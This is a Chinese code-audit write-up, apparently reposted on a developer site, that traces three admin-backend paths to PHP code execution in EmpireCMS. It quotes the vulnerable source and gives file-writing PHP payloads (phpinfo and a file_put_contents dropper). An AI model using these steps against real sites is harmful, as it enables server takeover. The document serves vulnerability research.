内容简介:首先看跟进函数看到ftemp字段插入数据库
首先看 admin/ecmsmember.php 的43-46行
elseif($enews=='EditMemberForm')//修改会员表单
{
EditMemberForm($_POST,$logininid,$loginin);
}
跟进函数
function EditMemberForm($add,$userid,$username){
global $empire,$dbtbpre;
$fid=(int)$add['fid'];
if(empty($add[fname])||!$fid)
{
printerror("EmptyMemberForm","history.go(-1)");
}
//验证权限
CheckLevel($userid,$username,$classid,"memberf");
$enter=TogMemberqenter($add['cname'],$add['center']);//录入项
$viewenter=TogMemberqenter($add['cname'],$add['venter']);//显示项
$mustenter=TogMemberMustf($add['cname'],$add['menter']);//必填项
$canaddf=TogMemberMustf($add['cname'],$add['canadd']);//增加项
$caneditf=TogMemberMustf($add['cname'],$add['canedit']);//修改项
$searchvar=TogMemberMustf($add['cname'],$add['schange']);//搜索项
$filef=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"file");
$imgf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"img");
$tobrf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"textarea");
$checkboxf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"checkbox");
//自动生成表单
if($add[ftype])
{
$add[ftemp]=ReturnMemberFtemp($add['cname'],$add['center']);
}
$sql=$empire->query("update {$dbtbpre}enewsmemberform set fname='$add[fname]',ftemp='".eaddslashes2($add[ftemp])."',fzs='".addslashes($add[fzs])."',enter='$enter',mustenter='$mustenter',filef='$filef',imgf='$imgf',tobrf='$tobrf',viewenter='$viewenter',searchvar='$searchvar',canaddf='$canaddf',caneditf='$caneditf',checkboxf='$checkboxf' where fid=$fid");
//生成表单页面
ChangeMemberForm($fid,$add[ftemp]);
if($sql)
{
insert_dolog("fid=".$fid."<br>fname=".$add[fname]);//操作日志
printerror("EditMemberFormSuccess","member/ListMemberForm.php".hReturnEcmsHashStrHref2(1));
}
else
{printerror("DbError","history.go(-1)");}
}
看到ftemp字段插入数据库
然后跟进 ChangeMemberForm 函数
function ChangeMemberForm($fid,$mtemp){
global $empire,$dbtbpre;
$file="../data/html/memberform".$fid.".php";
$sql=$empire->query("select f,fhtml from {$dbtbpre}enewsmemberf");
while($r=$empire->fetch($sql)){
$mtemp=str_replace("[!--".$r[f]."--]",$r[fhtml],$mtemp);
}
$mtemp="<?php
if(!defined('InEmpireCMS'))
{exit();}
?>".$mtemp;
WriteFiletext($file,$mtemp);
}
发现 mtemp 字段被写入文件,文件名为 memberform.$fid.php
<?php
if(!defined('InEmpireCMS'))
{exit();}
?><?php phpinfo(); ?>
现在我们拿到的是这样的,没办法直接访问来getshell,但是问题不大
全局搜索一下
跟进 admin/member/addmember.php
126行 $formfile='../../data/html/memberform'.$formid.'.php';
下面肯定有文件包含的操作,继续往下走
243行 @include($formfile);
那么我们
选用含有 shell 的表单
修改用户所属会员组,修改为含有shell的会员组
成功getshell.
后台getshell(二)
看ecmsmod.php第155-162行
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
跟进LoadInMod函数
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
<a href="http://paper.tuisec.win/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b793d4c78af7dad8c1d2">[email protected]</a>_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
这里如果是去爆破文件名的话也很简单,不可控的就
make_password(10)
10位随机数,因为这里拿不到种子,并不能去预测
但是下面
@include($path);
直接包含了这个文件,那么直接写入就可以。
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
后台getshell(三)
看代码ecmscom.php第46行
if($enews=="AddUserpage")//增加自定义页面
{
AddUserpage($_POST,$logininid,$loginin);
}
跟进函数 AddUserpage
function AddUserpage($add,$userid,$username){
global $empire,$dbtbpre;
//操作权限
CheckLevel($userid,$username,$classid,"userpage");
$classid=(int)$add[classid];
$title=$add['title'];
$path=$add['path'];
$pagetext=$add['pagetext'];
if(empty($title)||empty($path))
{
printerror("EmptyUserpagePath","history.go(-1)");
}
$title=hRepPostStr($title,1);
$path=hRepPostStr($path,1);
$pagetext=RepPhpAspJspcode($pagetext);
$pagetitle=RepPhpAspJspcode($add[pagetitle]);
$pagekeywords=RepPhpAspJspcode($add[pagekeywords]);
$pagedescription=RepPhpAspJspcode($add[pagedescription]);
$tempid=(int)$add['tempid'];
$gid=(int)$add['gid'];
$sql=$empire->query("insert into {$dbtbpre}enewspage(title,path,pagetext,classid,pagetitle,pagekeywords,pagedescription,tempid) values('$title','$path','".eaddslashes2($pagetext)."','$classid','".eaddslashes($pagetitle)."','".eaddslashes($pagekeywords)."','".eaddslashes($pagedescription)."','$tempid');");
$id=$empire->lastid();
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
if($sql)
{
//操作日志
insert_dolog("id=$id&title=$title");
printerror("AddUserpageSuccess","template/AddPage.php?enews=AddUserpage&gid=$gid&ChangePagemod=$add[pagemod]".hReturnEcmsHashStrHref2(0));
}
else
{
printerror("DbError","history.go(-1)");
}
}
可以发现是有处理函数的,跟进看一下
function RepPhpAspJspcode($string){
global $public_r;
die(var_dump($public_r[candocode]));
if(!$public_r[candocode]){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\","<\",$string);
$string=str_replace("\>","\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
}
return $string;
}
可以发现是有做替换操作的,那为什么会可以getshell呢,通过echo出 $public_r[candocode]
为 1 也就说说这个if判断条件进不去
默认设置为1,那么这个函数就相当于没有
可以发现在functions.php的第305行-319行
function RepPhpAspJspcodeText($string){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\","<\",$string);
$string=str_replace("\>","\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
$string=str_replace("<!--code.start-->","<!--code.start-->",$string);
$string=str_replace("<!--code.end-->","<!--code.end-->",$string);
return $string;
}
有个同样的替换操作的函数,如果使用这个函数也是很安全的。
继续往下走
进入函数
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
跟进 eclassfunctions.php
function ReUserpage($id,$pagetext,$path,$title="",$pagetitle,$pagekeywords,$pagedescription,$tempid=0){
global $public_r;
if(empty($path))
{
return "";
}
$path=eReturnTrueEcmsPath().'e/data/'.$path;
DoFileMkDir($path);//建目录
eAutodo_AddDo('ReUserpage',$id,0,0,0,0);//moreportdo
if(empty($pagetitle))
{
$pagetitle=$title;
}
//模板式
if($tempid)
{
$pagestr=GetPageTemp($tempid);
}
else
{
$pagestr=$pagetext;
}
$pagestr=InfoNewsBq("page".$id,$pagestr);
$pagestr=RepUserpageVar($pagetext,$title,$pagetitle,$pagekeywords,$pagedescription,$pagestr,$id);
$pagestr=str_replace("[!--news.url--]",$public_r['newsurl'],$pagestr);
//die(var_dump($pagestr));
WriteFiletext($path,$pagestr);
}
发现代码进入 $pagestr=InfoNewsBq("page".$id,$pagestr);
跟进这个函数
function InfoNewsBq($classid,$indextext){
global $empire,$dbtbpre,$public_r,$emod_r,$class_r,$class_zr,$fun_r,$navclassid,$navinfor,$class_tr,$level_r,$etable_r;
if(!defined('EmpireCMSAdmin'))
{
$_GET['reallinfotime']=0;
}
if($_GET['reallinfotime'])
{
$classid.='_all';
}
$file=eReturnTrueEcmsPath().'e/data/tmp/temp'.$classid.'.php';
if($_GET['reallinfotime']&&file_exists($file))
{
$filetime=filemtime($file);
if($_GET['reallinfotime']<=$filetime)
{
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
}
$indextext=stripSlashes($indextext);
$indextext=ReplaceTempvar($indextext);//替换全局模板变量
//替换标签
$indextext=DoRepEcmsLoopBq($indextext);
$indextext=RepBq($indextext);
//写文件
WriteFiletext($file,AddCheckViewTempCode().$indextext);
//读取文件内容
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
然后下面的 include 将会包含这个文件,也就是说我们同样可以利用
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
这样来getshell,或者直接返回执行命令的回显。
- 这个cms后台getshell的点很多,不再细找,简单拿出3个来举例。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- empirecms最新版(v7.5)后台多处getshell分析
- python模拟登陆知乎(最新版)
- 某开源博客系统最新版源码审计
- CocoaPods打包私有库实践 | 最新版
- 记录过某常见WAF最新版
- DuomiCMS3.0最新版漏洞挖掘
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
离散数学及其应用(原书第7版)
Kenneth H. Rosen / 徐六通、杨娟、吴斌 / 机械工业出版社 / 2015-1-1 / 129
《计算机科学丛书:离散数学及其应用(原书第7版)》是介绍离散数学理论和方法的经典教材,已经成为采用率最高的离散数学教材,被美国众多名校用作教材,获得了极大的成功。中文版也已被国内大学广泛采用为教材。作者参考使用教师和学生的反馈,并结合自身对教育的洞察,对第7版做了大量的改进,使其成为更有效的教学工具。《计算机科学丛书:离散数学及其应用(原书第7版)》可作为1至2个学期的离散数学课入门教材,适用于数......一起来看看 《离散数学及其应用(原书第7版)》 这本书的介绍吧!